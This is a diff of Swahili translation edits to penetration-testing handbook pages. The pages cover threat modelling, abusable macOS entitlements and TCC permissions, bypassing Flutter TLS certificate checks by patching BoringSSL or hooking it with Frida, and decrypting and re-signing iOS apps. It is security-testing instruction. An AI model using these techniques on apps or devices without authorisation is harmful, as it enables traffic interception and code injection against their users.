1. **STRIDE**: Iliyotengenezwa na Microsoft, STRIDE ni kifupi cha **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Kila kundi linawakilisha aina ya hatari, na mbinu hii hutumiwa mara nyingi katika hatua ya kubuni ya programu au mfumo ili kutambua hatari zinazoweza kutokea.
|
||||
2. **DREAD**: Hii ni mbinu nyingine kutoka Microsoft inayotumika kwa tathmini ya hatari za hatari zilizotambuliwa. DREAD inasimama kwa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Kila moja ya mambo haya inapata alama, na matokeo yake yanatumika kuipa kipaumbele hatari zilizotambuliwa.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Hii ni mbinu ya hatua saba, **risk-centric**. Inajumuisha kufafanua na kutambua malengo ya usalama, kuunda upeo wa kiufundi, uharibifu wa programu, uchambuzi wa hatari, uchambuzi wa udhaifu, na tathmini ya hatari/triage.
|
||||
4. **Trike**: Hii ni mbinu inayotegemea hatari ambayo inazingatia kulinda mali. Inaanza kutoka mtazamo wa **risk management** na inatazama hatari na udhaifu katika muktadha huo.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Mbinu hii inalenga kuwa rahisi zaidi na kuunganishwa katika mazingira ya maendeleo ya Agile. Inachanganya vipengele kutoka mbinu nyingine na inazingatia **uwakilishi wa kuona wa hatari**.
|
||||
1. **STRIDE**: Iliyotengenezwa na Microsoft, STRIDE ni kifupi cha **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Kila kundi linawakilisha aina ya tishio, na mbinu hii hutumiwa mara nyingi katika hatua ya kubuni ya programu au mfumo ili kutambua vitisho vinavyoweza kutokea.
|
||||
2. **DREAD**: Hii ni mbinu nyingine kutoka Microsoft inayotumika kwa tathmini ya hatari ya vitisho vilivyotambuliwa. DREAD inasimama kwa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Kila moja ya mambo haya inapata alama, na matokeo yake yanatumika kuipa kipaumbele vitisho vilivyotambuliwa.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Hii ni mbinu ya hatua saba, **risk-centric**. Inajumuisha kufafanua na kutambua malengo ya usalama, kuunda upeo wa kiufundi, uharibifu wa programu, uchambuzi wa vitisho, uchambuzi wa udhaifu, na tathmini ya hatari/triage.
|
||||
4. **Trike**: Hii ni mbinu inayotegemea hatari inayolenga kulinda mali. Inaanza kutoka mtazamo wa **risk management** na inatazama vitisho na udhaifu katika muktadha huo.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Mbinu hii inalenga kuwa rahisi zaidi na kuunganishwa katika mazingira ya maendeleo ya Agile. Inachanganya vipengele kutoka mbinu nyingine na inazingatia **uwakilishi wa kuona wa vitisho**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Iliyotengenezwa na Kituo cha Uratibu cha CERT, mfumo huu unalenga **tathmini ya hatari ya shirika badala ya mifumo au programu maalum**.
|
||||
|
||||
## Tools
|
||||
|
||||
Kuna zana kadhaa na suluhisho za programu zinazopatikana ambazo zinaweza **kusaidia** katika kuunda na kusimamia modeli za hatari. Hapa kuna chache unazoweza kuzingatia.
|
||||
Kuna zana kadhaa na suluhisho za programu zinazopatikana ambazo zinaweza **kusaidia** katika kuunda na kusimamia threat models. Hapa kuna chache unazoweza kuzingatia.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Zana ya kisasa ya GUI ya wavuti ya kuvunja/mchambuzi wa jukwaa nyingi kwa wataalamu wa usalama wa mtandao. Spider Suite inaweza kutumika kwa ramani na uchambuzi wa uso wa shambulio.
|
||||
Zana ya kisasa ya GUI ya wavuti ya kuvunja/mchambuzi wa wavuti kwa wataalamu wa usalama wa mtandao. Spider Suite inaweza kutumika kwa ramani na uchambuzi wa uso wa shambulio.
|
||||
|
||||
**Usage**
|
||||
|
||||
@ -54,7 +54,7 @@ Zana ya kisasa ya GUI ya wavuti ya kuvunja/mchambuzi wa jukwaa nyingi kwa wataal
|
||||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
Mradi wa chanzo wazi kutoka OWASP, Threat Dragon ni programu ya wavuti na desktop ambayo inajumuisha uchoraji wa mifumo pamoja na injini ya sheria za kuunda hatari/kuzuia moja kwa moja.
|
||||
Mradi wa chanzo wazi kutoka OWASP, Threat Dragon ni programu ya wavuti na desktop ambayo inajumuisha uchoraji wa mifumo pamoja na injini ya sheria za kuunda vitisho/mipango kiotomatiki.
|
||||
|
||||
**Usage**
|
||||
|
||||
@ -76,41 +76,41 @@ Wakati mwingine inaweza kuonekana kama hii:
|
||||
|
||||
4. Unda mfano wako
|
||||
|
||||
Unaweza kutumia zana kama SpiderSuite Crawler kukupa inspiration, mfano wa msingi ungeonekana kama huu
|
||||
Unaweza kutumia zana kama SpiderSuite Crawler kukupa inspiration, mfano wa msingi ungeweza kuonekana kama hii
|
||||
|
||||
<figure><img src="../images/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tu kidogo ya maelezo kuhusu vitu:
|
||||
Tu kidogo ya maelezo kuhusu viumbe:
|
||||
|
||||
- Mchakato (Kitu chenyewe kama vile Webserver au kazi ya wavuti)
|
||||
- Mchakato (Kiumbe chenyewe kama vile Webserver au kazi ya wavuti)
|
||||
- Mchezaji (Mtu kama vile Mtembezi wa Tovuti, Mtumiaji au Msimamizi)
|
||||
- Mstari wa Mtiririko wa Data (Kiashiria cha Maingiliano)
|
||||
- Mipaka ya Kuamini (Sehemu tofauti za mtandao au upeo.)
|
||||
- Hifadhi (Mambo ambapo data zinawekwa kama vile Maktaba)
|
||||
- Mpaka wa Kuaminika (Sehemu tofauti za mtandao au upeo.)
|
||||
- Hifadhi (Mambo ambapo data zinahifadhiwa kama vile Maktaba)
|
||||
|
||||
5. Unda Hatari (Hatua ya 1)
|
||||
5. Unda Tishio (Hatua 1)
|
||||
|
||||
Kwanza unapaswa kuchagua safu unayotaka kuongeza hatari
|
||||
Kwanza unapaswa kuchagua safu unayotaka kuongeza tishio
|
||||
|
||||
<figure><img src="../images/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sasa unaweza kuunda hatari
|
||||
Sasa unaweza kuunda tishio
|
||||
|
||||
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kumbuka kwamba kuna tofauti kati ya Hatari za Mchezaji na Hatari za Mchakato. Ikiwa ungeongeza hatari kwa Mchezaji basi utaweza kuchagua tu "Spoofing" na "Repudiation". Hata hivyo katika mfano wetu tunaongeza hatari kwa kitu cha Mchakato hivyo tutaona hii katika kisanduku cha uundaji wa hatari:
|
||||
Kumbuka kwamba kuna tofauti kati ya Vitisho vya Mchezaji na Vitisho vya Mchakato. Ikiwa ungeongeza tishio kwa Mchezaji basi utaweza kuchagua tu "Spoofing" na "Repudiation". Hata hivyo katika mfano wetu tunaongeza tishio kwa kiumbe cha Mchakato hivyo tutaona hii katika kisanduku cha uundaji wa tishio:
|
||||
|
||||
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. Imekamilika
|
||||
|
||||
Sasa mfano wako wa kumaliza unapaswa kuonekana kama huu. Na hivi ndivyo unavyofanya mfano rahisi wa hatari na OWASP Threat Dragon.
|
||||
Sasa mfano wako wa kumaliza unapaswa kuonekana kama hii. Na hivi ndivyo unavyofanya mfano rahisi wa tishio na OWASP Threat Dragon.
|
||||
|
||||
<figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Hii ni zana ya bure kutoka Microsoft inayosaidia katika kutafuta hatari katika hatua ya kubuni ya miradi ya programu. Inatumia mbinu ya STRIDE na inafaa hasa kwa wale wanaoendeleza kwenye stack ya Microsoft.
|
||||
Hii ni zana ya bure kutoka Microsoft inayosaidia katika kutafuta vitisho katika hatua ya kubuni ya miradi ya programu. Inatumia mbinu ya STRIDE na inafaa hasa kwa wale wanaoendeleza kwenye stack ya Microsoft.
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba entitlements zinazohusisha **`com.apple`** hazipatikani kwa wahusika wa tatu, ni Apple pekee inayoweza kuzitoa.
|
||||
> Kumbuka kwamba entitlements zinazohusisha **`com.apple`** hazipatikani kwa wahusika wa tatu, ni Apple pekee inayoweza kuzitolea.
|
||||
|
||||
## High
|
||||
|
||||
@ -29,7 +29,7 @@ Apps zenye Entitlement ya Zana za Ufuatiliaji zinaweza kuita `task_for_pid()` il
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Entitlement hii inaruhusu **kupakia frameworks, plug-ins, au maktaba bila kusainiwa na Apple au kusainiwa na Team ID** sawa na executable kuu, hivyo mshambuliaji anaweza kutumia upakiaji wa maktaba fulani kuingiza msimbo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Entitlement hii inaruhusu **kupakia frameworks, plug-ins, au maktaba bila kusainiwa na Apple au kusainiwa na Kitambulisho sawa na executable kuu**, hivyo mshambuliaji anaweza kutumia upakiaji wa maktaba fulani kuingiza msimbo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
@ -42,7 +42,7 @@ Entitlement hii inaruhusu **kutumia DYLD environment variables** ambazo zinaweza
|
||||
|
||||
### `com.apple.private.tcc.manager` au `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**Kulingana na blog hii**](https://objective-see.org/blog/blog_0x4C.html) **na** [**blog hii**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), entitlements hizi zinaruhusu **kubadilisha** database ya **TCC**.
|
||||
[**Kulingana na blog hii**](https://objective-see.org/blog/blog_0x4C.html) **na** [**blog hii**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), entitlements hizi zinaruhusu **kubadilisha** hifadhidata ya **TCC**.
|
||||
|
||||
### **`system.install.apple-software`** na **`system.install.apple-software.standar-user`**
|
||||
|
||||
@ -56,9 +56,9 @@ Entitlement inayohitajika kuomba **kernel kupakia nyongeza ya kernel**.
|
||||
|
||||
Entitlement **`com.apple.private.icloud-account-access`** inaruhusu kuwasiliana na huduma ya XPC **`com.apple.iCloudHelper`** ambayo itatoa **tokens za iCloud**.
|
||||
|
||||
**iMovie** na **Garageband** walikuwa na entitlement hii.
|
||||
**iMovie** na **Garageband** zilikuwa na entitlement hii.
|
||||
|
||||
Kwa maelezo zaidi kuhusu exploit ya **kupata tokens za icloud** kutoka kwa entitlement hiyo angalia mazungumzo: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Kwa maelezo zaidi kuhusu exploit ya **kupata tokens za icloud** kutoka kwa entitlement hiyo angalia mazungumzo: [**#OBTS v5.0: "Nini Kinachotokea kwenye Mac yako, Kinabaki kwenye iCloud ya Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -91,7 +91,7 @@ Inatoa ruhusa za **Upatikanaji wa Disk Kamili**, moja ya ruhusa za juu zaidi za
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
Inaruhusu programu kutuma matukio kwa programu nyingine ambazo mara nyingi hutumiwa kwa **kujiendesha kazi**. Kwa kudhibiti programu nyingine, inaweza kutumia ruhusa zilizotolewa kwa programu hizi nyingine.
|
||||
Inaruhusu programu kutuma matukio kwa programu nyingine ambazo mara nyingi hutumiwa kwa **kujiendesha kazi**. Kwa kudhibiti programu nyingine, inaweza kutumia vibaya ruhusa zilizotolewa kwa programu hizi nyingine.
|
||||
|
||||
Kama kufanya ziombwe mtumiaji kwa nywila yake:
|
||||
```bash
|
||||
@ -134,10 +134,10 @@ Ruhusa hii inaruhusu **kufunika au kurekebisha msimbo wa C**, kutumia **`NSCreat
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Ruhusa hii inaruhusu **kubadilisha sehemu za faili zake za kutekelezwa** kwenye diski ili kutoka kwa nguvu. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
Ruhusa hii inaruhusu **kubadilisha sehemu za faili zake za kutekeleza** kwenye diski ili kutoka kwa nguvu. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
|
||||
> [!CAUTION]
|
||||
> Ruhusa ya Kuondoa Ulinzi wa Kumbukumbu ya Kutekelezwa ni ruhusa kali ambayo inatoa ulinzi wa usalama wa msingi kutoka kwa programu yako, na kufanya iwezekane kwa mshambuliaji kuandika upya msimbo wa kutekelezwa wa programu yako bila kugundulika. Prefer ruhusa nyembamba ikiwa inawezekana.
|
||||
> Ruhusa ya Kuondoa Ulinzi wa Kumbukumbu ya Kutekeleza ni ruhusa kali ambayo inondoa ulinzi wa usalama wa msingi kutoka kwa programu yako, na kufanya iwezekane kwa mshambuliaji kuandika upya msimbo wa kutekeleza wa programu yako bila kugundulika. Prefer ruhusa nyembamba ikiwa inawezekana.
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
@ -149,7 +149,7 @@ Ruhusa hii inaruhusu kuunganisha mfumo wa faili wa nullfs (uliokatazwa kwa kawai
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
Kulingana na chapisho hili la blogu, ruhusa hii ya TCC kwa kawaida hupatikana katika mfumo:
|
||||
Kulingana na chapisho hili la blog, ruhusa hii ya TCC kwa kawaida hupatikana katika mfumo:
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
@ -160,11 +160,11 @@ Ruhusu mchakato **kuomba ruhusa zote za TCC**.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
# Flutter
|
||||
Flutter ni **zana ya UI ya Google ya kuvuka majukwaa** inayowaruhusu waendelezaji kuandika msingi mmoja wa msimbo wa Dart ambao **Engine** (C/C++ asilia) unageuza kuwa msimbo wa mashine maalum wa Android na iOS.
|
||||
Engine inakusanya **Dart VM**, **BoringSSL**, Skia, nk., na inatumika kama maktaba ya pamoja **libflutter.so** (Android) au **Flutter.framework** (iOS). Mitandao yote halisi (DNS, sockets, TLS) inafanyika **ndani ya maktaba hii**, *sio* katika tabaka za kawaida za Java/Kotlin Swift/Obj-C. Muundo huo wa kutengwa ndio sababu vidokezo vya kawaida vya Java vinavyoshindwa kwenye programu za Flutter.
|
||||
Engine inakusanya **Dart VM**, **BoringSSL**, Skia, n.k., na inatumwa kama maktaba ya pamoja **libflutter.so** (Android) au **Flutter.framework** (iOS). Mitandao yote halisi (DNS, sockets, TLS) inafanyika **ndani ya maktaba hii**, *sio* katika tabaka za kawaida za Java/Kotlin Swift/Obj-C. Muundo huo wa kutengwa ndio sababu vidokezo vya kawaida vya Java vinavyoshindwa kwenye programu za Flutter.
|
||||
|
||||
## Kukamata trafiki ya HTTPS katika Flutter
|
||||
|
||||
@ -12,32 +12,32 @@ Hii ni muhtasari wa [blog post](https://sensepost.com/blog/2025/intercepting-htt
|
||||
|
||||
### Kwa nini kukamata HTTPS ni ngumu katika Flutter
|
||||
* **Uthibitishaji wa SSL/TLS upo kwenye tabaka mbili chini** katika BoringSSL, hivyo bypass za Java SSL‐pinning hazigusi.
|
||||
* **BoringSSL inatumia duka lake la CA** ndani ya libflutter.so; kuingiza CA yako ya Burp/ZAP kwenye duka la mfumo la Android hakubadilishi chochote.
|
||||
* Alama katika libflutter.so zime **ondolewa na kuharibiwa**, zikificha kazi ya uthibitishaji wa cheti kutoka kwa zana za dynamic.
|
||||
* **BoringSSL inatumia *store* yake ya CA** ndani ya libflutter.so; kuingiza CA yako ya Burp/ZAP kwenye hifadhi ya mfumo wa Android hakubadilishi chochote.
|
||||
* Alama katika libflutter.so zime **ondolewa & kuharibiwa**, zikificha kazi ya uthibitishaji wa cheti kutoka kwa zana za dynamic.
|
||||
|
||||
### Fanya fingerprint ya stack halisi ya Flutter
|
||||
### Piga chapa stack halisi ya Flutter
|
||||
Kujua toleo kunakuruhusu kujenga upya au kulinganisha binaries sahihi.
|
||||
|
||||
Step | Command / File | Outcome
|
||||
Hatua | Amri / Faili | Matokeo
|
||||
----|----|----
|
||||
Pata hash ya snapshot | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…`
|
||||
Ramani hash → Engine | **enginehash** orodha katika reFlutter | Flutter 3 · 7 · 12 + commit ya injini `1a65d409…`
|
||||
Pull dependent commits | Faili ya DEPS katika commit hiyo ya injini | • `dart_revision` → Dart v2 · 19 · 6<br>• `dart_boringssl_rev` → BoringSSL `87f316d7…`
|
||||
Ramani ya hash → Engine | **enginehash** orodha katika reFlutter | Flutter 3 · 7 · 12 + commit ya injini `1a65d409…`
|
||||
Pull commits zinazohusiana | Faili ya DEPS katika commit hiyo ya injini | • `dart_revision` → Dart v2 · 19 · 6<br>• `dart_boringssl_rev` → BoringSSL `87f316d7…`
|
||||
|
||||
Pata [get_snapshot_hash.py hapa](https://github.com/Impact-I/reFlutter/blob/main/scripts/get_snapshot_hash.py).
|
||||
|
||||
### Lengo: `ssl_crypto_x509_session_verify_cert_chain()`
|
||||
* Ipo katika **`ssl_x509.cc`** ndani ya BoringSSL.
|
||||
* **Inarudisha `bool`** – `true` moja inatosha kupita ukaguzi wa mnyororo wa cheti mzima.
|
||||
* Kazi hiyo hiyo ipo kwenye kila CPU arch; ni opcode pekee zinatofautiana.
|
||||
* **Inarudisha `bool`** – `true` moja inatosha kupita ukaguzi mzima wa mnyororo wa cheti.
|
||||
* Kazi hiyo hiyo ipo kwenye kila CPU arch; ni opcodes pekee zinazotofautiana.
|
||||
|
||||
### Chaguo A – Patching ya binary na **reFlutter**
|
||||
1. **Clone** vyanzo sahihi vya Engine na Dart kwa toleo la Flutter la programu.
|
||||
1. **Clone** vyanzo sahihi vya Engine & Dart kwa toleo la Flutter la programu.
|
||||
2. **Regex-patch** maeneo mawili muhimu:
|
||||
* Katika `ssl_x509.cc`, lazimisha `return 1;`
|
||||
* (Hiari) Katika `socket_android.cc`, weka proxy kwa nguvu (`"10.0.2.2:8080"`).
|
||||
3. **Re-compile** libflutter.so, iangushe tena kwenye APK/IPA, sign, install.
|
||||
4. **Pre-patched builds** kwa toleo za kawaida zinatumwa katika matoleo ya reFlutter GitHub ili kuokoa masaa ya muda wa kujenga.
|
||||
4. **Pre-patched builds** za matoleo ya kawaida zinatumwa katika toleo la reFlutter GitHub ili kuokoa masaa ya muda wa kujenga.
|
||||
|
||||
### Chaguo B – Live hooking na **Frida** (njia ya “hard-core”)
|
||||
Kwa sababu alama imeondolewa, unafanya skanning ya muundo ulio loaded kwa bytes zake za kwanza, kisha kubadilisha thamani ya kurudi papo hapo.
|
||||
@ -74,4 +74,4 @@ Flutter yenyewe **haizingatii mipangilio ya proxy ya kifaa**. Chaguzi rahisi:
|
||||
## Marejeleo
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
Programu zilizosainiwa na **entitlement `get_task_allow`** zinawaruhusu programu za upande wa tatu kuendesha kazi inayoitwa **`task_for_pid()`** na kitambulisho cha mchakato wa programu ya awali kama hoja ili kupata bandari ya kazi juu yake (kuwa na uwezo wa kuidhibiti na kufikia kumbukumbu yake).
|
||||
|
||||
Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Digital Rights Management) **zinabatilishwa na programu haitafanya kazi**.
|
||||
Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Usimamizi wa Haki za Kidijitali) **zinabatilishwa na programu haitafanya kazi**.
|
||||
|
||||
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuifungua kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuomba tu kwa mteja kwa IPA iliyofunguliwa.
|
||||
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuikodisha kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuwasiliana na mteja kwa IPA iliyokodishwa.
|
||||
|
||||
## Pata IPA iliyofunguliwa
|
||||
## Pata IPA iliyokodishwa
|
||||
|
||||
### Pata kutoka Apple
|
||||
|
||||
@ -18,16 +18,16 @@ Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuifungua kwa kut
|
||||
2. Funga na uzindue [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) ndani ya macos yako
|
||||
3. Fungua `Terminal` kwenye Mac yako, na cd hadi `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA itaonekana katika folda hii baadaye.
|
||||
4. Unapaswa kuona kifaa chako cha iOS. Bonyeza mara mbili juu yake, kisha bonyeza Ongeza + → Programu kutoka kwenye menyu ya juu.
|
||||
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na tayari umefunga IPA, ujumbe wa kukuuliza ufungue tena programu utaonekana.
|
||||
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na tayari umefunga IPA, ujumbe wa kukuuliza ufungue programu tena utaonekana.
|
||||
6. IPA inapaswa kushushwa ndani ya `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` ambapo unaweza kuichukua.
|
||||
|
||||
Angalia [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) kwa maelezo zaidi kuhusu mchakato huu.
|
||||
|
||||
### Kufungua programu
|
||||
### Kuikodisha programu
|
||||
|
||||
Ili kufungua IPA tunakwenda kuifunga. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitaungwa mkono na programu kwani kawaida programu zinasaidia tu matoleo ya hivi karibuni.
|
||||
Ili kuikodisha IPA tunakwenda kuifunga. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitaungwa mkono na programu kwani kawaida programu zinasaidia tu matoleo ya hivi karibuni.
|
||||
|
||||
Hivyo, ili kuifunga, fungua tu IPA:
|
||||
Hivyo, ili kuifunga, fungua IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
@ -44,12 +44,12 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Note that you might need **AppSync Unified tweak** from Cydia to prevent any `invalid signature` errors.
|
||||
|
||||
Once installed, you can use **Iridium tweak** from Cydia in order to obtain the decrypted IPA.
|
||||
Once intalled, you can use **Iridium tweak** from Cydia in order to obtain the decrypted IPA.
|
||||
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Ili kusaini upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu kusaini upya faili la IPA kwa urahisi kwa kuashiria IPA ya kusaini upya, kuweka `get-taks-allow` na cheti na profaili ya usambazaji ya kutumia.
|
||||
Ili ku-sign upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu ku-sign upya faili ya IPA kwa urahisi kwa kuashiria IPA ya ku-sign upya, kuweka `get-taks-allow` na cheti na profaili ya usambazaji ya kutumia.
|
||||
|
||||
Kuhusu cheti na profaili za kusaini, Apple inatoa **free developer signing profiles** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za developer** kwa kuingia kwenye `Settings` → `Privacy & Security`, na bonyeza `Developer Mode`.
|
||||
|
||||
@ -59,15 +59,15 @@ ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
---
|
||||
|
||||
### Wezesha Hali ya Mwandishi (iOS 16+)
|
||||
### Wezesha Hali ya Mwandamizi (iOS 16+)
|
||||
|
||||
Tangu iOS 16 Apple ilianzisha **Hali ya Mwandishi**: binary yoyote inayobeba `get_task_allow` *au* iliyosainiwa na cheti cha maendeleo itakataa kuanzishwa hadi Hali ya Mwandishi iwezeshwe kwenye kifaa. Hutaweza pia kuunganisha Frida/LLDB isipokuwa bendera hii iwepo.
|
||||
Tangu iOS 16 Apple ilianzisha **Hali ya Mwandamizi**: binary yoyote inayobeba `get_task_allow` *au* iliyosainiwa na cheti cha maendeleo itakataa kuanzishwa hadi Hali ya Mwandamizi iwezeshwe kwenye kifaa. Hutaweza pia kuunganisha Frida/LLDB isipokuwa bendera hii iwepo.
|
||||
|
||||
1. Sakinisha au sukuma **yoyote** IPA iliyosainiwa na mwandishi kwenye simu.
|
||||
2. Nenda kwenye **Mipangilio → Faragha & Usalama → Hali ya Mwandishi** na iwashe.
|
||||
3. Kifaa kitaanzisha upya; baada ya kuingiza nambari ya siri utaulizwa **Washa** Hali ya Mwandishi.
|
||||
1. Sakinisha au sukuma **yoyote** IPA iliyosainiwa na mwandamizi kwenye simu.
|
||||
2. Nenda kwenye **Mipangilio → Faragha & Usalama → Hali ya Mwandamizi** na iwashe.
|
||||
3. Kifaa kitaanzisha upya; baada ya kuingiza nambari ya siri utaulizwa **Washa** Hali ya Mwandamizi.
|
||||
|
||||
Hali ya Mwandishi inabaki hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja kwa kifaa. [Hati za Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) zinaelezea athari za usalama.
|
||||
Hali ya Mwandamizi inabaki hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja kwa kifaa. [Apple documentation](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) inaelezea athari za usalama.
|
||||
|
||||
### Chaguzi za kisasa za sideloading
|
||||
|
||||
@ -75,14 +75,14 @@ Sasa kuna njia kadhaa za kisasa za sideloading na kuweka IPAs zilizosainiwa up-t
|
||||
|
||||
| Chombo | Mahitaji | Nguvu | Mipaka |
|
||||
|--------|----------|-------|--------|
|
||||
| **AltStore 2 / SideStore** | msaidizi wa macOS/Windows/Linux anayesaini tena IPA kila siku 7 kwa wasifu wa bure wa maendeleo | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple |
|
||||
| **TrollStore 1/2** | Kifaa kwenye iOS 14 – 15.4.1 kilichokuwa hatarini kwa hitilafu ya CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inahitajika mara baada ya kusakinishwa | Haipatikani kwenye iOS 15.5+ (hitilafu imefanyiwa marekebisho) |
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux mwenzi anayesaini tena IPA kila siku 7 kwa profaili ya bure ya maendeleo | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple |
|
||||
| **TrollStore 1/2** | Kifaa kwenye iOS 14 – 15.4.1 kilichokuwa na udhaifu wa CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inahitajika mara baada ya kusakinishwa | Haipatikani kwenye iOS 15.5+ (bug ilirekebishwa) |
|
||||
|
||||
